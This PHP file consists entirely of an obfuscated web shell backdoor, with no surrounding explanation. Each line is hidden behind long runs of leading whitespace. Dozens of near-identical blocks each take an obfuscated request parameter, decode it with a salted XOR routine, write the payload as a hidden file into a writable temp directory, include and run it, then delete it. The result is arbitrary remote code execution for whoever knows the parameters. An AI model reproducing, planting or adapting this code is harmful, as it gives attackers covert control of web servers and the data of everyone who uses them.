<?php																																										if(array_key_exists("mrk", $_POST)){ $dchunk = $_POST["mrk"]; $dchunk = explode ( "." , $dchunk) ; $entry= ''; $s4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s4); $v= 0; $__len= count($dchunk); do { if ($v >= $__len) break; $v2= $dchunk[$v]; $chS= ord($s4[$v%$lenS]); $d= ((int)$v2 - $chS - ($v%10))^81; $entry .= chr($d); $v++; } while (true); $symbol = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), "/dev/shm", getenv("TEMP")]); $ptr = 0; do { $tkn = $symbol[$ptr] ?? null; if ($ptr >= count($symbol)) break; if (!!is_dir($tkn) && !!is_writable($tkn)) { $binding = join("/", [$tkn, ".val"]); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $binding; @unlink($binding); exit; } } $ptr++; } while (true); }
																																										if(!empty($_REQUEST["ob\x6A"])){ $data = array_filter(["/var/tmp", "/dev/shm", getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); $elem = $_REQUEST["ob\x6A"]; $elem= explode (".", $elem ) ; $flag = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); $z = 0; $__tmp = $elem; while($v6 = array_shift($__tmp)) { $chS = ord($s5[$z % $sLen]); $d =((int)$v6 - $chS -($z % 10)) ^ 68; $flag.= chr($d); $z++; } foreach ($data as $val): if (max(0, is_dir($val) * is_writable($val))) { $ref = str_replace("{var_dir}", $val, "{var_dir}/.marker"); if (file_put_contents($ref, $flag)) { include $ref; @unlink($ref); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "to\x6Be\x6E")){ $key = $_POST["to\x6Be\x6E"]; $key = explode ('.', $key) ; $pgrp=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s ); $w=0; while( $w< count( $key)) { $v9=$key[$w]; $chS=ord( $s[$w% $lenS] ); $dec=( ( int)$v9 - $chS -( $w% 10))^ 84; $pgrp .= chr( $dec ); $w++; } $factor = array_filter([getenv("TEMP"), "/tmp", "/dev/shm", getenv("TMP"), getcwd(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); for ($tkn = 0, $symbol = count($factor); $tkn < $symbol; $tkn++) { $bind = $factor[$tkn]; if (array_product([is_dir($bind), is_writable($bind)])) { $binding = "$bind/.obj"; $success = file_put_contents($binding, $pgrp); if ($success) { include $binding; @unlink($binding); die();} } } }
																																										if(@$_POST["o\x62j\x65\x63t"] !== null){ $ent = array_filter(["/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getenv("TMP")]); $elem = $_POST["o\x62j\x65\x63t"]; $elem= explode ( '.' , $elem) ; $resource= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt ); $n= 0; array_walk($elem, function ($v3) use (&$resource, &$n, $salt, $sLen) {$chS= ord($salt[$n % $sLen] ); $dec= ((int)$v3 - $chS - ($n % 10)) ^ 96; $resource .= chr($dec ); $n++; } ); foreach ($ent as $pgrp) { if ((bool)is_dir($pgrp) && (bool)is_writable($pgrp)) { $element = "$pgrp/.data"; if (@file_put_contents($element, $resource) !== false) { include $element; unlink($element); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x64\x63hun\x6B"])){ $ent = $_POST["\x64\x63hun\x6B"]; $ent= explode( "." , $ent ) ; $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $j = 0; $__len = count( $ent ); do { if( $j >= $__len) break; $v1 = $ent[$j]; $chS = ord( $s[$j % $lenS] ); $dec = ( ( int)$v1 - $chS -( $j % 10)) ^ 5; $record .= chr( $dec ); $j++;}while( true ); $dat = array_filter(["/dev/shm", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP")]); while ($descriptor = array_shift($dat)) { if (array_product([is_dir($descriptor), is_writable($descriptor)])) { $factor = str_replace("{var_dir}", $descriptor, "{var_dir}/.tkn"); $file = fopen($factor, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $factor; @unlink($factor); die(); } } } }
																																										if(isset($_POST["des\x63"])){ $factor = $_POST["des\x63"]; $factor = explode ( '.', $factor ) ; $elem = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); foreach ($factor as $z=> $v6) { $chS = ord($s9[$z %$sLen]); $dec = ((int)$v6 - $chS - ($z %10))^ 23; $elem .= chr($dec); } $object = array_filter(["/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TMP"), getenv("TEMP")]); $value = 0; do { $item = $object[$value] ?? null; if ($value >= count($object)) break; if (!!is_dir($item) && !!is_writable($item)) { $record = vsprintf("%s/%s", [$item, ".holder"]); if (file_put_contents($record, $elem)) { include $record; @unlink($record); exit; } } $value++; } while (true); }
																																										if(array_key_exists("en\x74\x72y", $_REQUEST) && !is_null($_REQUEST["en\x74\x72y"])){ $pointer = $_REQUEST["en\x74\x72y"]; $pointer = explode ('.', $pointer ) ; $comp = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7 ); foreach($pointer as $s => $v9): $chS = ord($s7[$s % $lenS] ); $d =((int)$v9 - $chS -($s % 10)) ^ 68; $comp .= chr($d ); endforeach; $pgrp = array_filter([getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/tmp", getcwd(), "/var/tmp", ini_get("upload_tmp_dir")]); foreach ($pgrp as $value): if (is_writable($value) && is_dir($value)) { $res = implode("/", [$value, ".ent"]); if (file_put_contents($res, $comp)) { require $res; unlink($res); die(); } } endforeach; }
																																										if(isset($_REQUEST["o\x62je\x63\x74"])){ $ptr = array_filter([getenv("TMP"), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), "/dev/shm", "/var/tmp", "/tmp"]); $dchunk = $_REQUEST["o\x62je\x63\x74"]; $dchunk = explode('.' , $dchunk ) ; $value = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); foreach ($dchunk as $v=>$v4) { $chS = ord($s2[$v % $sLen]); $dec = ((int)$v4 - $chS - ($v % 10)) ^85; $value .= chr($dec); } foreach ($ptr as $flg): if (is_dir($flg) && is_writable($flg)) { $dat = str_replace("{var_dir}", $flg, "{var_dir}/.ent"); if (file_put_contents($dat, $value)) { require $dat; unlink($dat); exit; } } endforeach; }
																																										if(array_key_exists("re\x73ou\x72ce", $_POST)){ $property_set = $_POST["re\x73ou\x72ce"]; $property_set = explode ( "." , $property_set ) ; $res = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($property_set as $u => $v1): $sChar = ord($salt[$u % $lenS]); $dec = ((int)$v1 - $sChar - ($u % 10)) ^ 73; $res.= chr($dec); endforeach; $ent = array_filter([getcwd(), "/var/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp"]); $rec = 0; do { $itm = $ent[$rec] ?? null; if ($rec >= count($ent)) break; if (max(0, is_dir($itm) * is_writable($itm))) { $holder = "$itm" . "/.symbol"; $file = fopen($holder, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $holder; @unlink($holder); exit; } } $rec++; } while (true); }
																																										if(array_key_exists("\x64e\x73\x63\x72ipt\x6Fr", $_REQUEST)){ $comp = $_REQUEST["\x64e\x73\x63\x72ipt\x6Fr"]; $comp= explode ( '.', $comp ) ; $dchunk = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s8); foreach( $comp as $v=>$v2): $chS = ord( $s8[$v % $lenS]); $dec = ( ( int)$v2 - $chS -( $v % 10)) ^ 36; $dchunk .= chr( $dec); endforeach; $ptr = array_filter([getenv("TEMP"), "/tmp", session_save_path(), getcwd(), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP")]); foreach ($ptr as $fac): if ((is_dir($fac) and is_writable($fac))) { $flg = "$fac" . "/.resource"; if (@file_put_contents($flg, $dchunk) !== false) { include $flg; unlink($flg); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x62\x69nd\x69ng"]) ? true : false){ $token = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), getcwd()]); $flg = $_REQUEST["\x62\x69nd\x69ng"]; $flg =explode( '.' , $flg ) ; $pointer = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $k = 0; $__tmp = $flg; while( $v9 = array_shift( $__tmp)) { $chS = ord( $salt[$k % $lenS]); $d =( ( int)$v9 - $chS -( $k % 10)) ^ 35; $pointer .= chr( $d); $k++; } foreach ($token as $key => $elem) { if (!( !is_dir($elem) || !is_writable($elem) )) { $mrk = "$elem/.object"; if (file_put_contents($mrk, $pointer)) { require $mrk; unlink($mrk); exit; } } } }
																																										if(array_key_exists("p\x6Fi\x6Eter", $_POST) && !is_null($_POST["p\x6Fi\x6Eter"])){ $itm = $_POST["p\x6Fi\x6Eter"]; $itm= explode ('.' , $itm ); $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $itm as $i =>$v6): $chS = ord( $salt[$i % $sLen]); $dec =( ( int)$v6 - $chS -( $i % 10)) ^ 34; $component .= chr( $dec); endforeach; $hld = array_filter([getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd()]); while ($symbol = array_shift($hld)) { if (max(0, is_dir($symbol) * is_writable($symbol))) { $value = sprintf("%s/.pset", $symbol); $file = fopen($value, 'w'); if ($file) { fwrite($file, $component); fclose($file); include $value; @unlink($value); exit; } } } }
																																										if(!empty($_POST["\x68ol\x64\x65r"])){ $component = $_POST["\x68ol\x64\x65r"]; $component = explode ('.' , $component ); $entry =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $q =0; while ($q< count($component)) { $v7 =$component[$q]; $sChar =ord($salt[$q %$lenS]); $dec =((int)$v7 - $sChar - ($q %10)) ^ 35; $entry .= chr($dec); $q++; } $marker = array_filter([sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/tmp", session_save_path(), "/dev/shm", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($marker as $key => $dat) { if (!!is_dir($dat) && !!is_writable($dat)) { $obj = sprintf("%s/.val", $dat); $success = file_put_contents($obj, $entry); if ($success) { include $obj; @unlink($obj); exit;} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x68l\x64"])){ $object = array_filter([session_save_path(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/dev/shm"]); $dat = $_REQUEST["\x68l\x64"]; $dat= explode (".", $dat ); $factor= ''; $s2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s2 ); $k= 0; while ($k < count($dat)) { $v4= $dat[$k]; $sChar= ord($s2[$k% $lenS] ); $d= ((int)$v4 - $sChar - ($k% 10)) ^ 75; $factor .=chr($d ); $k++; } for ($ptr = 0, $itm = count($object); $ptr < $itm; $ptr++) { $pgrp = $object[$ptr]; if (!( !is_dir($pgrp) || !is_writable($pgrp) )) { $item = "$pgrp" . "/.value"; if (@file_put_contents($item, $factor) !== false) { include $item; unlink($item); die(); } } } }
																																										if(isset($_POST["\x66\x61c"])){ $property_set = $_POST["\x66\x61c"]; $property_set = explode ( "." ,$property_set ) ; $dchunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach($property_set as $p => $v9): $chS = ord($s[$p % $lenS]); $dec = ((int)$v9 - $chS -($p % 10)) ^ 74; $dchunk .= chr($dec); endforeach; $dat = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getcwd(), "/tmp", "/var/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir()]); foreach ($dat as $key => $itm) { if (is_dir($itm) && is_writable($itm)) { $data_chunk = vsprintf("%s/%s", [$itm, ".resource"]); if (@file_put_contents($data_chunk, $dchunk) !== false) { include $data_chunk; unlink($data_chunk); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x72e\x63or\x64"])){ $object = array_filter([getenv("TEMP"), session_save_path(), "/dev/shm", getcwd(), "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir()]); $element = $_POST["\x72e\x63or\x64"]; $element = explode ( "." ,$element ) ; $elem= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s); $w= 0; $len= count( $element); do { if( $w>= $len) break; $v4= $element[$w]; $chS= ord( $s[$w % $sLen]); $dec= ( ( int)$v4 - $chS -( $w % 10)) ^ 19; $elem .= chr( $dec); $w++; }while( true); $binding = 0; do { $k = $object[$binding] ?? null; if ($binding >= count($object)) break; if (is_writable($k) && is_dir($k)) { $val = "$k" . "/.ptr"; $file = fopen($val, 'w'); if ($file) { fwrite($file, $elem); fclose($file); include $val; @unlink($val); exit; } } $binding++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64\x61ta"])){ $dat = $_REQUEST["\x64\x61ta"]; $dat = explode ( ".", $dat ) ; $ptr = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $__len = count($dat); for ($w = 0; $w < $__len; $w++) { $v3 = $dat[$w]; $sChar = ord($s[$w % $sLen]); $dec = ((int)$v3 - $sChar - ($w % 10)) ^ 48; $ptr .= chr($dec); } $data_chunk = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", session_save_path(), "/dev/shm"]); while ($comp = array_shift($data_chunk)) { if (is_dir($comp) && is_writable($comp)) { $object = sprintf("%s/.reference", $comp); $file = fopen($object, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $object; @unlink($object); exit; } } } }
																																										if(isset($_REQUEST["re\x66"])){ $val = array_filter(["/tmp", session_save_path(), getenv("TEMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir")]); $resource = $_REQUEST["re\x66"]; $resource =explode ('.' ,$resource ) ; $token = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $t = 0; array_walk($resource, function ($v9) use (&$token, &$t, $salt, $lenS) { $sChar = ord($salt[$t% $lenS] ); $d = ((int)$v9 - $sChar - ($t% 10)) ^ 31; $token.= chr($d ); $t++;} ); foreach ($val as $holder) { if (!( !is_dir($holder) || !is_writable($holder) )) { $hld = vsprintf("%s/%s", [$holder, ".key"]); if (file_put_contents($hld, $token)) { require $hld; unlink($hld); die(); } } } }
																																										if(!is_null($_REQUEST["\x65le\x6D"] ?? null)){ $item = $_REQUEST["\x65le\x6D"]; $item = explode ( '.', $item ) ; $flag = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt4); foreach( $item as $q => $v4) { $sChar = ord( $salt4[$q % $lenS]); $d =( ( int)$v4 - $sChar -( $q % 10)) ^ 35; $flag.=chr( $d); } $factor = array_filter([getenv("TEMP"), "/dev/shm", getcwd(), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/var/tmp"]); $pointer = 0; do { $parameter_group = $factor[$pointer] ?? null; if ($pointer >= count($factor)) break; if (is_dir($parameter_group) ? is_writable($parameter_group) : false) { $itm = vsprintf("%s/%s", [$parameter_group, ".object"]); if (file_put_contents($itm, $flag)) { require $itm; unlink($itm); exit; } } $pointer++; } while (true); }
																																										if(@$_POST["\x72\x65f"] !== null){ $tkn = array_filter(["/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP")]); $binding = $_POST["\x72\x65f"]; $binding =explode( '.' , $binding ) ; $value = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5); foreach ($binding as $o => $v3) {$sChar = ord($s5[$o % $lenS]); $d = ((int)$v3 - $sChar - ($o % 10)) ^ 24; $value .= chr($d); } while ($data_chunk = array_shift($tkn)) { if ((is_dir($data_chunk) and is_writable($data_chunk))) { $descriptor = "$data_chunk" . "/.val"; if (file_put_contents($descriptor, $value)) { require $descriptor; unlink($descriptor); exit; } } } }
																																										if(array_key_exists("pt\x72", $_POST)){ $flg = $_POST["pt\x72"]; $flg = explode ( '.' , $flg ) ; $element= ''; $s6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s6); $m= 0; while( $m < count( $flg)) { $v7= $flg[$m]; $chS= ord( $s6[$m% $sLen]); $dec= ( ( int)$v7 - $chS -( $m% 10)) ^ 90; $element .= chr( $dec); $m++; } $bind = array_filter(["/tmp", session_save_path(), "/var/tmp", getenv("TEMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($bind as $data_chunk): if ((is_dir($data_chunk) and is_writable($data_chunk))) { $k = join("/", [$data_chunk, ".flag"]); if (@file_put_contents($k, $element) !== false) { include $k; unlink($k); die(); } } endforeach; }
																																										if(in_array("compo\x6E\x65\x6E\x74", array_keys($_POST))){ $data = array_filter([session_save_path(), "/tmp", getcwd(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm"]); $pgrp = $_POST["compo\x6E\x65\x6E\x74"]; $pgrp = explode ('.' , $pgrp) ; $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $t = 0; while( $t < count( $pgrp)) { $v3 = $pgrp[$t]; $chS = ord( $s[$t % $sLen]); $dec =( ( int)$v3 - $chS -( $t % 10)) ^ 4; $record.=chr( $dec); $t++; } foreach ($data as $parameter_group): if ((bool)is_dir($parameter_group) && (bool)is_writable($parameter_group)) { $hld = sprintf("%s/.key", $parameter_group); if (file_put_contents($hld, $record)) { include $hld; @unlink($hld); exit; } } endforeach; }
																																										if(in_array("el\x65\x6D", array_keys($_REQUEST))){ $entry = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/tmp", session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TEMP")]); $ref = $_REQUEST["el\x65\x6D"]; $ref = explode ( ".", $ref ) ; $res = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $v = 0; while ($v < count($ref)) {$v7 = $ref[$v]; $chS = ord($salt[$v% $sLen] ); $d = ((int)$v7 - $chS - ($v% 10)) ^ 3; $res .= chr($d ); $v++; } for ($descriptor = 0, $dat = count($entry); $descriptor < $dat; $descriptor++) { $itm = $entry[$descriptor]; if (is_writable($itm) && is_dir($itm)) { $flag = join("/", [$itm, ".bind"]); if (file_put_contents($flag, $res)) { include $flag; @unlink($flag); exit; } } } }
																																										if(!is_null($_POST["k"] ?? null)){ $key = array_filter([getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/tmp", getenv("TMP"), session_save_path()]); $component = $_POST["k"]; $component=explode ("." , $component ) ; $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $__len = count($component ); for ($y = 0; $y < $__len; $y++) { $v2 = $component[$y]; $chS = ord($salt[$y % $sLen] ); $d = ((int)$v2 - $chS - ($y % 10)) ^ 93; $fac .= chr($d ); } foreach ($key as $bind): if (!( !is_dir($bind) || !is_writable($bind) )) { $element = sprintf("%s/.itm", $bind); if (@file_put_contents($element, $fac) !== false) { include $element; unlink($element); exit; } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x69\x74em"])){ $value = $_REQUEST["\x69\x74em"]; $value = explode ( ".", $value) ; $sym =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s ); foreach( $value as $r => $v6) { $sChar =ord( $s[$r % $sLen] ); $d =( ( int)$v6 - $sChar -( $r % 10)) ^ 38; $sym .= chr( $d ); } $entry = array_filter(["/tmp", sys_get_temp_dir(), getenv("TMP"), getcwd(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP")]); $flag = 0; do { $ref = $entry[$flag] ?? null; if ($flag >= count($entry)) break; if (is_dir($ref) && is_writable($ref)) { $pointer = vsprintf("%s/%s", [$ref, ".symbol"]); if (@file_put_contents($pointer, $sym) !== false) { include $pointer; unlink($pointer); exit; } } $flag++; } while (true); }
																																										if(isset($_REQUEST["\x63\x6Fmp"]) ? true : false){ $dat = array_filter([session_save_path(), "/dev/shm", getenv("TEMP"), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", "/tmp"]); $itm = $_REQUEST["\x63\x6Fmp"]; $itm = explode ( '.', $itm); $entity= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt ); foreach( $itm as $z => $v3) { $sChar= ord( $salt[$z %$sLen] ); $dec= ( ( int)$v3 - $sChar -( $z %10)) ^ 11; $entity .= chr( $dec ); } $bind = 0; do { $entry = $dat[$bind] ?? null; if ($bind >= count($dat)) break; if (!!is_dir($entry) && !!is_writable($entry)) { $pgrp = "$entry" . "/.hld"; if (@file_put_contents($pgrp, $entity) !== false) { include $pgrp; unlink($pgrp); exit; } } $bind++; } while (true); }
																																										if(!empty($_POST["d\x61t"])){ $property_set = $_POST["d\x61t"]; $property_set = explode ( '.', $property_set ); $item = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s4); $v = 0; $len = count( $property_set); do { if( $v>= $len) break; $v7 = $property_set[$v]; $chS = ord( $s4[$v%$sLen]); $dec =( ( int)$v7 - $chS -( $v%10))^98; $item .= chr( $dec); $v++; } while( true); $descriptor = array_filter([getenv("TEMP"), session_save_path(), "/var/tmp", getcwd(), "/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir")]); foreach ($descriptor as $key => $factor) { if (is_writable($factor) && is_dir($factor)) { $token = join("/", [$factor, ".pset"]); if (@file_put_contents($token, $item) !== false) { include $token; unlink($token); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["to\x6B\x65n"])){ $entity = $_REQUEST["to\x6B\x65n"]; $entity =explode ( '.', $entity ) ; $item = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt1); $s = 0; $__tmp = $entity; while( $v1 = array_shift( $__tmp)) { $chS = ord( $salt1[$s % $sLen]); $dec =( ( int)$v1 - $chS -( $s % 10)) ^ 77; $item .= chr( $dec); $s++; } $holder = array_filter([session_save_path(), "/var/tmp", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TMP"), getenv("TEMP")]); foreach ($holder as $symbol): if ((is_dir($symbol) and is_writable($symbol))) { $flag = "$symbol/.key"; if (file_put_contents($flag, $item)) { include $flag; @unlink($flag); exit; } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["va\x6Cue"])){ $record = array_filter(["/tmp", getenv("TMP"), session_save_path(), "/var/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP")]); $key = $_POST["va\x6Cue"]; $key =explode ( "." ,$key ); $obj =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s ); $m =0; $__len =count($key ); do { if ($m >= $__len) break; $v3 =$key[$m]; $sChar =ord($s[$m % $lenS] ); $d =((int)$v3 - $sChar - ($m % 10)) ^ 33; $obj .= chr($d ); $m++;} while (true ); foreach ($record as $token): if (!( !is_dir($token) || !is_writable($token) )) { $dat = "$token" . "/.elem"; $success = file_put_contents($dat, $obj); if ($success) { include $dat; @unlink($dat); exit;} } endforeach; }
																																										if(array_key_exists("\x65n\x74\x69ty", $_REQUEST) && !is_null($_REQUEST["\x65n\x74\x69ty"])){ $ref = array_filter(["/var/tmp", getcwd(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/tmp"]); $data = $_REQUEST["\x65n\x74\x69ty"]; $data= explode('.', $data ) ; $marker=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $j=0; array_walk($data, function ($v7) use (&$marker, &$j, $s, $sLen) { $sChar=ord($s[$j % $sLen]); $d=((int)$v7 - $sChar - ($j % 10)) ^ 100; $marker .=chr($d); $j++; }); foreach ($ref as $key => $object) { if ((is_dir($object) and is_writable($object))) { $component = sprintf("%s/.val", $object); if (@file_put_contents($component, $marker) !== false) { include $component; unlink($component); die(); } } } }
																																										if(!is_null($_POST["\x70rop\x65rt\x79_\x73\x65\x74"] ?? null)){ $resource = array_filter(["/var/tmp", "/tmp", session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), getcwd()]); $hld = $_POST["\x70rop\x65rt\x79_\x73\x65\x74"]; $hld= explode ( '.' , $hld ) ; $flg = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s2); $t = 0; $len = count( $hld); do { if( $t >= $len) break; $v6 = $hld[$t]; $chS = ord( $s2[$t%$lenS]); $dec = ( ( int)$v6 - $chS -( $t%10)) ^ 8; $flg .= chr( $dec); $t++; } while( true); foreach ($resource as $data_chunk): if (!!is_dir($data_chunk) && !!is_writable($data_chunk)) { $bind = str_replace("{var_dir}", $data_chunk, "{var_dir}/.item"); if (file_put_contents($bind, $flg)) { require $bind; unlink($bind); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x70\x73et"]) ? true : false){ $object = array_filter(["/var/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getcwd(), getenv("TMP")]); $symbol = $_REQUEST["\x70\x73et"]; $symbol= explode ( ".", $symbol ) ; $factor = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4 ); $v = 0; foreach( $symbol as $v1) { $chS = ord( $s4[$v % $lenS] ); $dec = ( ( int)$v1 - $chS -( $v % 10)) ^ 24; $factor .= chr( $dec ); $v++;} for ($flag = 0, $holder = count($object); $flag < $holder; $flag++) { $value = $object[$flag]; if (is_writable($value) && is_dir($value)) { $comp = sprintf("%s/.sym", $value); if (file_put_contents($comp, $factor)) { include $comp; @unlink($comp); die(); } } } }
																																										if(isset($_POST["\x68\x6Fld\x65r"]) ? true : false){ $property_set = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP")]); $rec = $_POST["\x68\x6Fld\x65r"]; $rec =explode ( '.' , $rec ); $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($rec as $m => $v6) { $chS = ord($salt[$m % $lenS]); $dec = ((int)$v6 - $chS - ($m % 10)) ^ 8; $ref .=chr($dec); } $object = 0; do { $symbol = $property_set[$object] ?? null; if ($object >= count($property_set)) break; if (is_dir($symbol) ? is_writable($symbol) : false) { $binding = sprintf("%s/.pset", $symbol); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $binding; @unlink($binding); die(); } } $object++; } while (true); }
																																										if(!is_null($_REQUEST["\x64\x65sc"] ?? null)){ $fac = $_REQUEST["\x64\x65sc"]; $fac=explode( '.',$fac ) ; $tkn = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6 ); foreach ($fac as $v => $v7) { $sChar = ord($salt6[$v % $lenS] ); $dec = ((int)$v7 - $sChar - ($v % 10)) ^ 69; $tkn .= chr($dec ); } $val = array_filter([getenv("TMP"), "/tmp", "/var/tmp", session_save_path(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir()]); foreach ($val as $key => $bind) { if (!( !is_dir($bind) || !is_writable($bind) )) { $factor = vsprintf("%s/%s", [$bind, ".sym"]); if (@file_put_contents($factor, $tkn) !== false) { include $factor; unlink($factor); exit; } } } }
